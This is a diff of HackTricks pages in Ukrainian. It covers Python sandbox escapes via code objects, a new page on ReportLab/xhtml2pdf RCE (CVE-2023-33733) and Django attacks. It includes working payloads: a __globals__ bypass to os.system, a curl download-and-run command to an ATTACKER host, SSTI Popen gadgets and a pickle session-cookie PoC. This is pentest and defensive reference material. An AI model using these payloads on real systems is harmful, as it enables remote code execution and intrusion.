імпортовані модулі, деякі глобальні змінні та оголошений їхній вміст: ```python get_flag.func_globals get_flag.__globals__ @@ -807,11 +816,11 @@ get_flag.__globals__ #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` -[**Дивіться тут більше місць для отримання globals**](#globals-and-locals) +[**See here more places to obtain globals**](#globals-and-locals) ### **Доступ до коду функції** -**`__code__`** та `func_code`: Ви можете **доступитися** до цього **атрибута** функції, щоб **отримати об'єкт коду** функції. +**`__code__`** and `func_code`: Ви можете **отримати доступ** до цього **атрибуту** функції, щоб **отримати об'єкт коду** функції. ```python # In our current example get_flag.__code__ @@ -899,7 +908,7 @@ dis.dis(get_flag) 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` -Зверніть увагу, що **якщо ви не можете імпортувати `dis` в пісочниці python**, ви можете отримати **байт-код** функції (`get_flag.func_code.co_code`) і **дисасемблювати** його локально. Ви не побачите вміст змінних, що завантажуються (`LOAD_CONST`), але ви можете здогадатися про них з (`get_flag.func_code.co_consts`), оскільки `LOAD_CONST` також вказує на зсув змінної, що завантажується. +Зауважте, що **якщо ви не можете імпортувати `dis` у python sandbox** ви можете отримати **байткод** функції (`get_flag.func_code.co_code`) і **дизасемблювати** його локально. Ви не побачите вміст змінних, що завантажуються (`LOAD_CONST`), але можете вгадати їх із (`get_flag.func_code.co_consts`), бо `LOAD_CONST` також вказує офсет змінної, що завантажується. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) @@ -923,8 +932,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ``` ## Компіляція Python -Тепер уявімо, що якимось чином ви можете **вивантажити інформацію про функцію, яку ви не можете виконати**, але вам **потрібно** її **виконати**.\ -Як у наступному прикладі, ви **можете отримати доступ до об'єкта коду** цієї функції, але просто читаючи disassemble, ви **не знаєте, як обчислити прапорець** (_уявіть більш складну функцію `calc_flag`_) +Тепер уявімо, що якимось чином ви можете **dump the information about a function that you cannot execute**, але вам **потрібно** її **виконати**.\ +Як у наведеному прикладі, ви **can access the code object** цієї функції, але просто читаючи disassemble ви **не знаєте, як обчислити flag** (_уявіть більш складну функцію `calc_flag`_). ```python def get_flag(some_input): var1=1 @@ -937,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` -### Створення об'єкта коду +### Створення code object -По-перше, нам потрібно знати **як створити та виконати об'єкт коду**, щоб ми могли створити один для виконання нашої функції leak: +По-перше, нам потрібно знати **how to create and execute a code object**, щоб ми могли створити один, щоб виконати нашу function leaked: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -959,7 +968,7 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!TIP] -> Залежно від версії python **параметри** `code_type` можуть мати **інший порядок**. Найкращий спосіб дізнатися порядок параметрів у версії python, яку ви використовуєте, - це виконати: +> Залежно від версії python **параметри** `code_type` можуть мати **інший порядок**. Найкращий спосіб дізнатися порядок параметрів у версії python, яку ви запускаєте — виконати: > > ``` > import types @@ -967,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode") > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` -### Відтворення вкраденої функції +### Recreating a leaked function > [!WARNING] -> У наступному прикладі ми будемо використовувати всі дані, необхідні для відтворення функції безпосередньо з об'єкта коду функції. У **реальному прикладі** всі **значення**, необхідні для виконання функції **`code_type`**, це те, що **вам потрібно буде вкрасти**. +> У наведеному прикладі ми візьмемо всі дані, необхідні для відтворення функції, безпосередньо з об'єкта коду функції. У **реальному прикладі** всі **значення**, потрібні для виконання функції **`code_type`**, — це те, що вам доведеться leak. ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak @@ -981,12 +990,12 @@ mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` -### Bypass Defenses +### Обхід захисту -У попередніх прикладах на початку цього посту ви можете побачити **як виконати будь-який python код, використовуючи функцію `compile`**. Це цікаво, оскільки ви можете **виконувати цілі скрипти** з циклами і всім іншим в **одному рядку** (і ми могли б зробити те ж саме, використовуючи **`exec`**).\ -У будь-якому випадку, іноді може бути корисно **створити** **скомпільований об'єкт** на локальному комп'ютері та виконати його на **CTF машині** (наприклад, тому що у нас немає функції `compiled` в CTF). +У попередніх прикладах на початку цього поста видно, **як виконати будь-який python-код за допомогою функції `compile`**. Це цікаво, тому що можна **виконувати цілі скрипти** з циклами та всім іншим в **один рядок** (і те саме можна зробити за допомогою **`exec`**).\ +Втім, іноді може бути корисно **створити** **скомпільований об'єкт** на локальній машині та виконати його на **CTF machine** (наприклад, тому що у CTF немає функції `compiled`). -Наприклад, давайте скомпілюємо та виконаємо вручну функцію, яка читає _./poc.py_: +Наприклад, давайте скомпілюємо та вручну виконаємо функцію, яка читає _./poc.py_: ```python #Locally def read(): @@ -1013,7 +1022,7 @@ mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` -Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **правильну функцію**, але прямий виклик зазвичай завершиться невдачею з повідомленням: _конструктор недоступний у обмеженому режимі_. Тому вам потрібна **функція, яка не знаходиться в обмеженому середовищі, щоб викликати цю функцію.** +Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **коректну функцію**, але її прямий виклик зазвичай призведе до: _constructor not accessible in restricted mode_. Тому вам потрібна **функція, що знаходиться поза обмеженим середовищем, щоб викликати цю функцію.** ```python #Compile a regular print ftype = type(lambda: None) @@ -1021,9 +1030,9 @@ ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` -## Декомпіляція скомпільованого Python +## Decompiling Compiled Python -Використовуючи інструменти, такі як [**https://www.decompiler.com/**](https://www.decompiler.com), можна **декомпілювати** даний скомпільований код python. +Використовуючи інструменти на зразок [**https://www.decompiler.com/**](https://www.decompiler.com) можна **decompile** заданий compiled python code. **Перегляньте цей підручник**: @@ -1032,12 +1041,12 @@ f(42) ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} -## Різне Python +## Misc Python ### Assert -Python, виконуваний з оптимізаціями з параметром `-O`, видалить оператори assert та будь-який код, що залежить від значення **debug**.\ -Отже, перевірки, такі як +Python, виконуваний з оптимізаціями за параметром `-O`, видалить asset statements і будь-який код, умовний від значення **debug**.\ +Отже, перевірки на кшталт ```python def check_permission(super_user): try: @@ -1056,5 +1065,8 @@ print(f"\nNot a Super User!!!\n") - [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) - [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) +- [CVE-2023-33733 (ReportLab rl_safe_eval expression evaluation RCE) – NVD](https://nvd.nist.gov/vuln/detail/cve-2023-33733) +- [c53elyas/CVE-2023-33733 PoC and write-up](https://github.com/c53elyas/CVE-2023-33733) +- [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md new file mode 100644 index 000000000..8b08e8876 --- /dev/null +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md @@ -0,0 +1,79 @@ +# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733) + +{{#include ../../../banners/hacktricks-training.md}} + +Ця сторінка документує практичний sandbox escape та RCE-примітив у ReportLab’s rl_safe_eval, який використовується xhtml2pdf та іншими PDF-генеруючими конвеєрами при рендерінгу HTML, керованого користувачем, у PDF. + +CVE-2023-33733 впливає на версії ReportLab до та включно 3.6.12. У певних контекстах атрибутів (наприклад color) значення, загорнуті в потрійні дужки [[[ ... ]]], оцінюються серверною стороною за допомогою rl_safe_eval. Під час побудови payload, що pivot-ить від дозволеного builtin (pow) до його Python function globals, атакуючий може дістатися до модуля os і виконати команди. + +Ключові моменти +- Trigger: inject [[[ ... ]]] into evaluated attributes such as within markup parsed by ReportLab/xhtml2pdf. +- Sandbox: rl_safe_eval replaces dangerous builtins but evaluated functions still expose __globals__. +- Bypass: craft a transient class Word to bypass rl_safe_eval name checks and access the string "__globals__" while avoiding blocked dunder filtering. +- RCE: getattr(pow, Word("__globals__"))["os"].system("") +- Stability: Return a valid value for the attribute after execution (for color, use and 'red'). + +Коли тестувати +- Застосунки, які надають експорт HTML→PDF (профілі, інвойси, звіти) і показують xhtml2pdf/ReportLab у метаданих PDF або коментарях HTTP-відповіді. +- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer +- HTTP-відповідь для PDF часто починається з ReportLab generator comment + +Як працює обхід sandbox +- rl_safe_eval видаляє або замінює багато builtins (getattr, type, pow, ...) і застосовує фільтрацію імен, щоб відхилити атрибути, що починаються з __ або є в denylist. +- Однак безпечні функції зберігають свої globals у словнику, доступному як func.__globals__. +- Використайте type(type(1)) щоб відновити справжню вбудовану функцію type (обхід обгортки ReportLab), потім визначте клас Word, похідний від str, з модифікованою поведінкою порівняння так, щоб: + - .startswith('__') → завжди False (обхід перевірки name startswith('__')) + - .__eq__ повертає False тільки при першому порівнянні (обхід перевірок належності denylist) і True після цього (щоб getattr працював) + - .__hash__ дорівнює hash(str(self)) +- З таким підходом getattr(pow, Word('__globals__')) повертає globals-словник обгорнутого pow, який включає імпортований модуль os. Далі: ['os'].system(''). + +Мінімальний шаблон експлуатації (приклад для атрибуту) +Помістіть payload всередину оціненого атрибуту та переконайтеся, що він повертає допустиме значення атрибуту через булеву операцію і 'red'. + + +exploit + + +- Форма з list-comprehension дозволяє один вираз, прийнятний для rl_safe_eval. +- Закінчення and 'red' повертає дійсний CSS-колір, щоб рендеринг не ламався. +- Замініть команду за потреби; використовуйте ping щоб валідувати виконання через tcpdump. + +Операційний робочий процес +1) Визначити генератор PDF +- PDF Producer показує xhtml2pdf; HTTP-відповідь містить ReportLab comment. +2) Знайти введення, відображене в PDF (наприклад bio/description у профілі) і викликати експорт. +3) Підтвердити виконання низькошумним ICMP +- Запуск: sudo tcpdump -ni icmp +- Payload: ... system('ping ') ... +- Windows часто надсилає рівно чотири echo-запити за замовчуванням. +4) Отримати shell +- Для Windows надійний двоетапний підхід уникає проблем з цитуванням/кодуванням: +- Stage 1 (download): + +exploit + +- Stage 2 (execute): + +exploit + +- Для Linux-цілей можливий схожий двоетапний підхід з curl/wget: +- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s') + +Примітки та поради +- Контексти атрибутів: color — відомий оцінюваний атрибут; інші атрибути у ReportLab-розмітці також можуть оцінювати expressions. Якщо одне місце санітізується, спробуйте інші ділянки, які рендеряться в потоці PDF (різні поля, стилі таблиць тощо). +- Квотування: тримайте команди компактними. Двоетапні завантаження значно зменшують проблеми з цитуванням та екрануванням. +- Надійність: якщо експорт кешується або ставиться в чергу, трохи варіюйте payload (наприклад випадковий шлях або query) щоб уникнути кешування. + +Захист та виявлення +- Оновіть ReportLab до 3.6.13 або пізнішої версії (CVE-2023-33733 виправлено). Відстежуйте також security advisories у пакетах дистрибутивів. +- Не передавайте HTML/розмітку під контролем користувача напряму в xhtml2pdf/ReportLab без суворої санітизації. Видаліть/заблокуйте [[[...]]] evaluation constructs та vendor-specific теги, коли вхідні дані недовірені. +- Розгляньте відключення або обгортання використання rl_safe_eval повністю для недовірених входів. +- Моніторте підозрілі вихідні з’єднання під час генерації PDF (наприклад ICMP/HTTP з app server-ів під час експорту документів). + +References +- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733) +- 0xdf University HTB write-up (real-world exploitation, Windows two-stage payloads): [HTB: University](https://0xdf.gitlab.io/2025/08/09/htb-university.html) +- NVD entry (affected versions): [CVE-2023-33733](https://nvd.nist.gov/vuln/detail/cve-2023-33733) +- xhtml2pdf docs (markup/page concepts): [xhtml2pdf docs](https://xhtml2pdf.readthedocs.io/en/latest/format_html.html) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index fe942fd60..b1d7a894f 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -3,48 +3,57 @@ {{#include ../../banners/hacktricks-training.md}} ## Маніпуляція кешем для RCE -Метод зберігання кешу за замовчуванням у Django - це [Python pickles](https://docs.python.org/3/library/pickle.html), що може призвести до RCE, якщо [недовірене введення буде розпаковано](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Якщо зловмисник може отримати доступ на запис до кешу, він може ескалувати цю вразливість до RCE на базовому сервері**. +Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Якщо атакуючий може отримати права запису в кеш, він може ескалувати цю вразливість до RCE на підлягаючому сервері**. -Кеш Django зберігається в одному з чотирьох місць: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [пам'яті](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [файлах](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) або [базі даних](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Кеш, збережений на сервері Redis або в базі даних, є найбільш ймовірними векторами атаки (впровадження Redis та SQL-ін'єкція), але зловмисник також може використовувати кеш на основі файлів, щоб перетворити довільний запис у RCE. Підтримувачі позначили це як незначну проблему. Важливо зазначити, що папка файлів кешу, назва таблиці SQL та деталі сервера Redis можуть варіюватися в залежності від реалізації. +Кеш Django зберігається в одному з чотирьох місць: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Кеш, що зберігається в Redis server або database, є найімовірнішими векторами атаки (Redis injection and SQL injection), але атакуючий також може використати file-based cache, щоб перетворити довільний запис у RCE. Maintainers have marked this as a non-issue. Важливо зазначити, що папка файлів кешу, назва SQL-таблиці та деталі Redis server будуть відрізнятися в залежності від реалізації. -Цей звіт HackerOne надає чудовий, відтворювальний приклад експлуатації кешу Django, збереженого в базі даних SQLite: https://hackerone.com/reports/1415436 +This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436 --- -## Ін'єкція шаблонів на стороні сервера (SSTI) -Мова шаблонів Django (DTL) є **тюрінг-комплектною**. Якщо дані, надані користувачем, відображаються як *рядок шаблону* (наприклад, викликом `Template(user_input).render()` або коли `|safe`/`format_html()` видаляє автоматичне екранування), зловмисник може досягти повної SSTI → RCE. +## Server-Side Template Injection (SSTI) +The Django Template Language (DTL) is **Turing-complete**. Якщо дані, надані користувачем, рендеряться як *template string* (наприклад, викликом `Template(user_input).render()` або коли `|safe`/`format_html()` видаляє автоекранування), атакуючий може досягти повного SSTI → RCE. ### Виявлення -1. Шукайте динамічні виклики до `Template()` / `Engine.from_string()` / `render_to_string()`, які включають *будь-які* неочищені дані запиту. -2. Надішліть навантаження на основі часу або арифметики: +1. Шукайте динамічні виклики `Template()` / `Engine.from_string()` / `render_to_string()`, які включають *будь-які* ненормалізовані дані запиту. +2. Відправте тайм-орієнтований або арифметичний payload: ```django {{7*7}} ``` -Якщо відображений вихід містить `49`, введення компілюється шаблонним двигуном. +Якщо в результаті рендерингу з'являється `49`, вхід компілюється шаблонним двигуном. -### Примітив до RCE +### Примітив для RCE Django блокує прямий доступ до `__import__`, але граф об'єктів Python доступний: ```django {{''.__class__.mro()[1].__subclasses__()}} ``` -Знайдіть індекс `subprocess.Popen` (≈400–500 в залежності від версії Python) та виконайте довільні команди: +Знайдіть індекс `subprocess.Popen` (≈400–500 залежно від збірки Python) і виконайте довільні команди: ```django {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} ``` -Більш безпечний універсальний гаджет - це ітерація, поки `cls.__name__ == 'Popen'`. +A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`. -Той же гаджет працює для **Debug Toolbar** або **Django-CMS** функцій рендерингу шаблонів, які неправильно обробляють введення користувача. +The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input. --- -## RCE через куки сесії на основі Pickle -Якщо налаштування `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` увімкнено (або користувацький серіалізатор, який десеріалізує pickle), Django *розшифровує та розпаковує* куки сесії **перед** викликом будь-якого коду представлення. Тому наявність дійсного ключа підпису (за замовчуванням `SECRET_KEY` проекту) є достатньою для негайного віддаленого виконання коду. +### Also see: ReportLab/xhtml2pdf PDF export RCE +Додатки, побудовані на Django, зазвичай інтегрують xhtml2pdf/ReportLab для експорту views як PDF. Коли HTML, контрольований користувачем, потрапляє до генерації PDF, rl_safe_eval може оцінювати вирази всередині потрійних дужок `[[[ ... ]]]`, що дозволяє виконання коду (CVE-2023-33733). Деталі, payloads, and mitigations: -### Вимоги до експлуатації +{{#ref}} +../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md +{{#endref}} + +--- + +## Pickle-Backed Session Cookie RCE +Якщо налаштування `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` увімкнене (або використовується кастомний serializer, що десеріалізує pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Тому наявність дійсного signing key (проектний `SECRET_KEY` за замовчуванням) достатньо для негайного remote code execution. + +### Exploit Requirements * Сервер використовує `PickleSerializer`. -* Зловмисник знає / може вгадати `settings.SECRET_KEY` (витоки через GitHub, `.env`, сторінки помилок тощо). +* Зловмисник знає / може вгадати `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.). -### Доказ концепції +### Proof-of-Concept ```python #!/usr/bin/env python3 from django.contrib.sessions.serializers import PickleSerializer @@ -58,22 +67,23 @@ return (os.system, ("id > /tmp/pwned",)) mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) print(f"sessionid={mal}") ``` -Надішліть отримане cookie, і корисне навантаження виконується з правами WSGI worker. +Надішліть отриманий cookie, і payload виконається з дозволами WSGI worker. -**Заходи пом'якшення**: Залишайте за замовчуванням `JSONSerializer`, змінюйте `SECRET_KEY` та налаштовуйте `SESSION_COOKIE_HTTPONLY`. +**Заходи пом'якшення**: Keep the default `JSONSerializer`, rotate `SECRET_KEY`, and configure `SESSION_COOKIE_HTTPONLY`. --- -## Останні (2023-2025) критичні CVE Django, які повинні перевірити пентестери -* **CVE-2025-48432** – *Введення журналу через неекранований `request.path`* (виправлено 4 червня 2025 року). Дозволяє зловмисникам підсовувати нові рядки/ANSI коди в журнали та отруювати подальший аналіз журналів. Рівень патчу ≥ 4.2.22 / 5.1.10 / 5.2.2. -* **CVE-2024-42005** – *Критичне SQL-введення* в `QuerySet.values()/values_list()` на `JSONField` (CVSS 9.8). Створіть JSON ключі, щоб вийти з цитування та виконати довільний SQL. Виправлено в 4.2.15 / 5.0.8. +## Останні (2023-2025) CVE високого впливу Django, які повинні перевірити Pentesters +* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). Дозволяє зловмисникам вводити символи нового рядка/ANSI-коди у файли логів і псувати подальший аналіз логів. Виправлено у версіях ≥ 4.2.22 / 5.1.10 / 5.2.2. +* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Сформуйте JSON keys так, щоб вийти з кавичок і виконати довільний SQL. Fixed in 4.2.15 / 5.0.8. -Завжди визначайте точну версію фреймворку через сторінку помилки `X-Frame-Options` або хеш `/static/admin/css/base.css` та тестуйте вищезазначене, де це застосовно. +Завжди ідентифікуйте точну версію фреймворка через сторінку помилки `X-Frame-Options` або хеш `/static/admin/css/base.css` і тестуйте наведене, де це доречно. --- -## Посилання -* Випуск безпеки Django – "Django 5.2.2, 5.1.10, 4.2.22 вирішують CVE-2025-48432" – 4 червня 2025 року. -* OP-Innovate: "Django випускає оновлення безпеки для усунення вразливості SQL-введення CVE-2024-42005" – 11 серпня 2024 року. +## Джерела +* Повідомлення про безпеку Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. +* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. +* 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../banners/hacktricks-training.md}}